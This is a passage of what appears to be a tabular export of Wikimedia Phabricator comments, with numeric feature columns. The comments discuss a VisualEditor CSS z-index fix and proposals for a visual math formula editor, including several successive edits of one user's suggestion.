It was presumably forgotten because it needs to be on a separate rule (not inside the one above, since that would set z-index: 0; on all blocks, thus destroying the order of elements within the alien).",,,1355442376,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-e2rzlzqqfl2v7m5ms4g6,task_subcomment,,True,c1,1,True,,,-29,,0.5,0.0,0.0,0.5,1.5,2.0,3.0,1.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.5,5.0,8.5,0.0,1.0,0.0,0.5,0.0,0.5,0.0,0.0,1.5,0.0,0.5,0.0,5.0,0.5,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,2.5,0.0,0.5,0.0,0.0,0.0,16.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.0,3.5,8.0,2.0,1.5,10.0,0.0,0.0,0.0,0.0,3.5,0.0,2.0,0.0,3.5,8.5,3.5,0.0,0.0,0.0,3.5,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,3.619718309859155,0.6619718309859155,"The following CSS rule exists:

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

They have position relative, so the z-index within is relative and constraint within the alien.

However that isn't the case. This is because the top node (alienBlockNode, not alienBlockNode *) needs z-index: 0; to complete this feature. It is the combination of z-index: 0; and position: relative; that makes it work.

It was presumably forgotten because it needs to be on a separate rule (not inside the one above, since that would set z-index: 0; on all blocks, thus destroying the order of elements within the alien)."
181976,VisualEditor: Elements nested inside Aliens with z-index appear on top of the zebra pattern,"Sorry, setting web browser in case it matters.",,,1355441973,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-e2rzlzqqfl2v7m5ms4g6,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.9,1.0,"Sorry, setting web browser in case it matters."
45058,Create a visual VisualEditor plugin tool to add/edit maths blocks,"Math is editable, but only as plain LaTeX like in the wikitext editor: https://en.wikipedia.org/wiki/User:Raymond/Math

{F199473}
Figure 1: Current non visual visual editor",Medium,50.0,1355386860,,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-nspbk6goaacnxvuhl4ff,task_description,open,True,c1,1,False,False,,-29,,0.0,0.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,21.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7586206896551726,0.896551724137931,"Math is editable, but only as plain LaTeX like in the wikitext editor: URL

{F199473}
Figure 1: Current non visual visual editor"
1495447,Create a visual VisualEditor plugin tool to add/edit maths blocks,">>! In T45058#6101704, @BoldLuis wrote:
> I suggest a way to implement Mediawiki links in Phabricator.  ~~~~

**[offtopic]** @BoldLuis: Please use the Preview at the bottom, below the comment field, before submitting a comment. See T251657. Thanks :)

Please also avoid unnecessary full quotes of previous comments when not needed.",,,1588406096,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,True,,,356,,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,9.0,0.0,17.0,2.0,0.0,9.0,0.0,2.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,4.456521739130435,0.782608695652174,"QUOTE
QUOTE

**[offtopic]**SCREEN_NAME: Please use the Preview at the bottom, below the comment field, before submitting a comment. See T251657. Thanks :)

Please also avoid unnecessary full quotes of previous comments when not needed."
1495446,Create a visual VisualEditor plugin tool to add/edit maths blocks,">>! In T45058#6101704, @BoldLuis wrote:
> I suggest a way to implement Mediawiki links in Phabricator.  ~~~~

**[offtopic]** @BoldLuis: Please use the Preview at the bottom, below the comment field, before submitting a comment. See T251657. Thanks :)",,,1588406072,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,True,,,356,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,22.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,4.21875,0.78125,"QUOTE
QUOTE

**[offtopic]**SCREEN_NAME: Please use the Preview at the bottom, below the comment field, before submitting a comment. See T251657. Thanks :)"
1495402,Create a visual VisualEditor plugin tool to add/edit maths blocks,"Good!!!. 

>>! In T45058#475499, @SalixAlba wrote:
> Created attachment 13550
> Screenshot of editing a math block
> 
> Some small tweaks are needed to the dialog box. Editing the last equation at https://www.mediawiki.org/wiki/VisualEditor:TestMath?veaction=edit
> there are a a few problems
> 
> 1) The dialog obscures the actual equation
> 2) The dlalog is too small to see the whole source text of the equation
> 
> This could be solved the making the dialog, moveable and resizeable.
> 
> **Attached**: {F10189}

",,,1588386108,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,34.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.78125,0.1875,"Good!!!. 

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

"
1495390,Create a visual VisualEditor plugin tool to add/edit maths blocks,">>! In T45058#475389, @Jdforrester-WMF wrote:
> (In reply to comment #3)
>> Are there any news on this?
> 
> Jiabao was accepted as a GSoC student and will be working on this with us. Updates are going to be added at [[mw:User:Jiabao wu/GSoC 2013 Project Work]].

I suggest a way to implement Mediawiki links in Phabricator.  ~~~~",,,1588382922,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,35.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,26.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.782608695652174,0.6956521739130435,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I suggest a way to implement Mediawiki links in Phabricator.  ~~~~"
1495272,Create a visual VisualEditor plugin tool to add/edit maths blocks,"[http://en.wikipedia.org/wiki/Help:Displaying_a_formula Help:Displaying a formula Wikipedia Help:Displaying a formula]

[http://en.wikipedia.org/wiki/File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor.]


  - I suggest Math Editor, a full visual math editor for VisualEditor. This would work in a similar way to a visual calculator (keyboard). If you put / in the visual box in your keyboard, it would put the wikitext: \frac . 


  - It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition. See:** 
https://www.texthelp.com/en-us/products/equatio/equatio-for-windows/ . Just some ideas ;-)",,,1588368331,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,1.0,0.0,0.0,0.5,0.0,6.0,0.0,0.0,0.0,1.0,3.0,2.0,0.0,0.0,0.0,0.5,2.0,1.5,6.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,2.0,1.5,1.5,0.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,15.5,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.5,11.5,1.0,1.0,7.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,3.5,6.5,5.0,0.0,0.0,0.0,3.5,0.0,0.0,3.5,0.0,1.5,0.0,0.0,1.0,3.870711725550435,0.7604966717869943,"[URL Help:Displaying a formula Wikipedia Help:Displaying a formula]

[URL This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor.]


  - I suggest Math Editor, a full visual math editor for VisualEditor. This would work in a similar way to a visual calculator (keyboard). If you put / in the visual box in your keyboard, it would put the wikitext: \frac . 


  - It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition. See:** 
URL . Just some ideas ;-)"
1495271,Create a visual VisualEditor plugin tool to add/edit maths blocks,"[http://en.wikipedia.org/wiki/Help:Displaying_a_formula Help:Displaying a formula Wikipedia Help:Displaying a formula]

[http://en.wikipedia.org/wiki/File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor.]


  - I suggest Math Editor, a full visual math editor for VisualEditor. This would work in a similar way to a visual calculator (keyboard). If you put / in the visual box in your keyboard, it would put the wikitext: \frac . 


  - It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition. See:** [https://www.texthelp.com/en-us/products/equatio/equatio-for-windows/=]. Just some ideas ;-)",,,1588368277,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,1.0,0.0,0.0,0.5,0.0,6.0,0.0,0.0,0.0,1.0,3.0,2.0,0.0,0.0,0.0,0.5,2.0,1.5,6.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,2.0,1.5,1.5,0.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,16.5,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.5,11.5,1.0,1.0,7.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,3.5,6.5,4.0,0.0,0.0,0.0,3.5,0.0,0.0,3.5,0.0,1.5,0.0,0.0,2.0,3.895161290322581,0.7580645161290323,"[URL Help:Displaying a formula Wikipedia Help:Displaying a formula]

[URL This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor.]


  - I suggest Math Editor, a full visual math editor for VisualEditor. This would work in a similar way to a visual calculator (keyboard). If you put / in the visual box in your keyboard, it would put the wikitext: \frac . 


  - It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition. See:** [URL Just some ideas ;-)"
1495266,Create a visual VisualEditor plugin tool to add/edit maths blocks,"[http://en.wikipedia.org/wiki/Help:Displaying_a_formula Help:Displaying a formula Wikipedia Help:Displaying a formula]

[http://en.wikipedia.org/wiki/File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor.]


  - I suggest Math Editor, a full visual math editor for VisualEditor. This would work in a similar way to a visual calculator (keyboard). If you put / in the visual box in your keyboard, it would put the wikitext: \frac . 


  - It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition** [https://www.texthelp.com/en-us/products/equatio/equatio-for-windows/=]. Just some ideas ;-)",,,1588368213,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,1.0,0.0,0.0,0.5,0.0,6.0,0.0,0.0,0.0,1.0,3.0,2.0,0.0,0.0,0.0,0.5,2.0,1.5,6.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,2.0,0.5,1.5,0.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,16.5,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.5,11.0,1.0,1.0,7.5,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,6.5,3.5,0.0,0.0,0.0,4.0,0.0,0.0,3.5,0.0,1.5,0.0,0.0,2.0,3.918032786885246,0.7459016393442623,"[URL Help:Displaying a formula Wikipedia Help:Displaying a formula]

[URL This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor.]


  - I suggest Math Editor, a full visual math editor for VisualEditor. This would work in a similar way to a visual calculator (keyboard). If you put / in the visual box in your keyboard, it would put the wikitext: \frac . 


  - It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition** [URL Just some ideas ;-)"
1495263,Create a visual VisualEditor plugin tool to add/edit maths blocks,"[http://en.wikipedia.org/wiki/Help:Displaying_a_formula Help:Displaying a formula Wikipedia Help:Displaying a formula]

[http://en.wikipedia.org/wiki/File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor. The visual editor shows a button that allows to choose one of three offered modes to display a formula.]


  - I suggest Math Editor, a full visual math editor for VisualEditor. This would work in a similar way to a visual calculator (keyboard). If you put / in the visual box in your keyboard, it would put the wikitext: \frac . 


  - It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition** [https://www.texthelp.com/en-us/products/equatio/equatio-for-windows/=]. Just some ideas ;-)",,,1588368120,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,0.5,0.0,0.0,0.5,0.0,6.5,0.0,0.0,0.0,0.5,3.0,2.0,0.0,0.0,0.0,0.5,1.5,1.5,7.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,2.5,1.0,1.5,0.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,17.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.0,0.5,11.0,0.5,0.5,8.5,0.0,0.5,0.0,0.0,3.0,0.0,1.0,0.0,3.5,7.5,3.0,0.0,0.0,0.0,3.5,0.0,0.5,4.5,0.0,1.5,0.0,0.0,1.5,3.9647887323943665,0.704225352112676,"[URL Help:Displaying a formula Wikipedia Help:Displaying a formula]

[URL This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor. The visual editor shows a button that allows to choose one of three offered modes to display a formula.]


  - I suggest Math Editor, a full visual math editor for VisualEditor. This would work in a similar way to a visual calculator (keyboard). If you put / in the visual box in your keyboard, it would put the wikitext: \frac . 


  - It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition** [URL Just some ideas ;-)"
1495262,Create a visual VisualEditor plugin tool to add/edit maths blocks,"[http://en.wikipedia.org/wiki/Help:Displaying_a_formula Help:Displaying a formula Wikipedia Help:Displaying a formula]

[http://en.wikipedia.org/wiki/File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor. The visual editor shows a button that allows to choose one of three offered modes to display a formula.]


  - I suggest a Math Editor, a full visual editor for VisualEditor. This would work in a similar way to a visual calculator (keyboard). If you put / in the visual box in your keyboard, it would put the wikitext: \frac . 


  - It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition** [https://www.texthelp.com/en-us/products/equatio/equatio-for-windows/=]. Just some ideas ;-)",,,1588368041,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,0.5,0.0,0.0,0.5,0.0,6.5,0.0,0.0,0.0,0.5,3.0,2.0,0.0,0.0,0.0,0.5,1.5,1.5,7.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,2.5,1.0,1.5,0.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,17.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.5,0.5,11.0,0.5,0.5,9.0,0.0,0.5,0.0,0.0,3.0,0.0,1.0,0.0,3.5,7.5,3.0,0.0,0.0,0.0,3.5,0.0,0.5,5.0,0.0,1.5,0.0,0.0,1.5,3.943661971830986,0.6971830985915493,"[URL Help:Displaying a formula Wikipedia Help:Displaying a formula]

[URL This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor. The visual editor shows a button that allows to choose one of three offered modes to display a formula.]


  - I suggest a Math Editor, a full visual editor for VisualEditor. This would work in a similar way to a visual calculator (keyboard). If you put / in the visual box in your keyboard, it would put the wikitext: \frac . 


  - It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition** [URL Just some ideas ;-)"
1495261,Create a visual VisualEditor plugin tool to add/edit maths blocks,"[http://en.wikipedia.org/wiki/Help:Displaying_a_formula Help:Displaying a formula Wikipedia Help:Displaying a formula]

[http//en.wikipedia.org/wiki/File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor. The visual editor shows a button that allows to choose one of three offered modes to display a formula.]


  - I suggest a Math Editor, a full visual editor for VisualEditor. This would work in a similar way to a visual calculator (keyboard). If you put / in the visual box in your keyboard, it would put the wikitext: \frac . 


  - It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition** [https://www.texthelp.com/en-us/products/equatio/equatio-for-windows/=]. Just some ideas ;-)",,,1588367857,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,0.5,0.0,0.0,0.5,0.0,6.0,0.0,0.0,0.0,0.5,2.5,2.0,0.0,0.0,0.0,0.5,1.5,1.5,7.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,2.5,1.0,1.5,0.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,17.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.5,0.5,11.5,0.5,0.5,9.0,0.0,0.5,0.0,0.0,3.0,0.5,1.0,0.0,3.0,7.5,4.0,0.0,0.0,0.0,3.0,0.0,0.5,5.0,0.0,1.5,0.0,0.0,2.0,4.256756756756756,0.7162162162162162,"[URL Help:Displaying a formula Wikipedia Help:Displaying a formula]

[http//en.wikipedia.org/wiki/File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor. The visual editor shows a button that allows to choose one of three offered modes to display a formula.]


  - I suggest a Math Editor, a full visual editor for VisualEditor. This would work in a similar way to a visual calculator (keyboard). If you put / in the visual box in your keyboard, it would put the wikitext: \frac . 


  - It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition** [URL Just some ideas ;-)"
1495260,Create a visual VisualEditor plugin tool to add/edit maths blocks,"[http://en.wikipedia.org/wiki/Help:Displaying_a_formula_Help:Displaying a formula Wikipedia Help:Displaying a formula]

[http//en.wikipedia.org/wiki/File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor. The visual editor shows a button that allows to choose one of three offered modes to display a formula.]


  - I suggest a Math Editor, a full visual editor for VisualEditor. This would work in a similar way to a visual calculator (keyboard). If you put / in the visual box in your keyboard, it would put the wikitext: \frac . 


  - It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition** [https://www.texthelp.com/en-us/products/equatio/equatio-for-windows/=]. Just some ideas ;-)",,,1588367830,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,0.5,0.0,0.0,0.5,0.0,6.5,0.0,0.0,0.0,0.5,3.0,2.0,0.0,0.0,0.0,0.5,1.0,1.5,7.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,2.5,1.0,1.5,0.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,16.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.5,0.5,10.5,0.5,0.5,9.5,0.0,0.5,0.0,0.0,3.0,0.5,1.0,0.0,3.5,7.5,3.5,0.0,0.0,0.0,3.5,0.0,0.5,5.0,0.0,1.0,0.0,0.0,2.0,4.238774733637747,0.7243150684931507,"[URL a formula Wikipedia Help:Displaying a formula]

[http//en.wikipedia.org/wiki/File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor. The visual editor shows a button that allows to choose one of three offered modes to display a formula.]


  - I suggest a Math Editor, a full visual editor for VisualEditor. This would work in a similar way to a visual calculator (keyboard). If you put / in the visual box in your keyboard, it would put the wikitext: \frac . 


  - It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition** [URL Just some ideas ;-)"
1495255,Create a visual VisualEditor plugin tool to add/edit maths blocks,"[http://en.wikipedia.org/wiki/Help:Displaying_a_formula_Help:Displaying a formula Wikipedia Help:Displaying a formula]
[http//en.wikipedia.org/wiki/File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor. The visual editor shows a button that allows to choose one of three offered modes to display a formula.]

I suggest a Math Editor, a full visual editor for VisualEditor. This would work in a similar way to a calculator. If you put / in the visual box in your keyboard, it would put the wikitext: \frac . It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition** [https://www.texthelp.com/en-us/products/equatio/equatio-for-windows/=]. Just some ideas ;-)",,,1588367699,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,0.5,0.0,0.0,0.5,0.0,6.0,0.0,0.0,0.0,0.5,3.0,2.0,0.0,0.0,0.0,0.5,1.0,1.5,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,2.5,1.0,1.5,0.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,16.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.5,0.5,11.0,0.5,0.5,9.5,0.0,0.5,0.0,0.0,3.0,0.5,1.0,0.0,3.5,8.0,4.0,0.0,0.0,0.0,3.5,0.0,0.5,5.0,0.0,1.0,0.0,0.0,2.0,4.260869565217392,0.7463768115942029,"[URL a formula Wikipedia Help:Displaying a formula]
[http//en.wikipedia.org/wiki/File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor. The visual editor shows a button that allows to choose one of three offered modes to display a formula.]

I suggest a Math Editor, a full visual editor for VisualEditor. This would work in a similar way to a calculator. If you put / in the visual box in your keyboard, it would put the wikitext: \frac . It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition** [URL Just some ideas ;-)"
1495254,Create a visual VisualEditor plugin tool to add/edit maths blocks,"[http://en.wikipedia.org/wiki/Help:Displaying a formula Help:Displaying a formula]
[http//en.wikipedia.org/wiki File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor. The visual editor shows a button that allows to choose one of three offered modes to display a formula.]

I suggest a Math Editor, a full visual editor for VisualEditor. This would work in a similar way to a calculator. If you put / in the visual box in your keyboard, it would put the wikitext: \frac . It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition** [https://www.texthelp.com/en-us/products/equatio/equatio-for-windows/=]. Just some ideas ;-)",,,1588367619,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,0.5,0.0,0.0,0.5,0.0,6.5,0.0,0.0,0.0,0.5,3.0,2.0,0.0,0.0,0.0,0.5,1.0,1.5,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,2.5,1.0,1.5,0.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,16.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.5,0.5,10.5,0.5,0.5,9.5,0.0,0.5,0.0,0.0,3.0,0.0,1.0,0.0,3.5,8.0,4.0,0.0,0.0,0.0,3.5,0.0,0.5,5.0,0.0,1.0,0.0,0.0,1.5,4.25,0.75,"[URL a formula Help:Displaying a formula]
[http//en.wikipedia.org/wiki File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor. The visual editor shows a button that allows to choose one of three offered modes to display a formula.]

I suggest a Math Editor, a full visual editor for VisualEditor. This would work in a similar way to a calculator. If you put / in the visual box in your keyboard, it would put the wikitext: \frac . It also can link to a visual list with commons functions (as square root), mathematical input graphical environment or **math handwriting recognition** [URL Just some ideas ;-)"
1495253,Create a visual VisualEditor plugin tool to add/edit maths blocks,"[http://en.wikipedia.org/wiki/Help:Displaying a formula Help:Displaying a formula]
[http//en.wikipedia.org/wiki File:Editing_a_formula_using_VisualEditor.png This screenshot shows the formula ''E'' = ''mc2'' being edited using VisualEditor. The visual editor shows a button that allows to choose one of three offered modes to display a formula.]

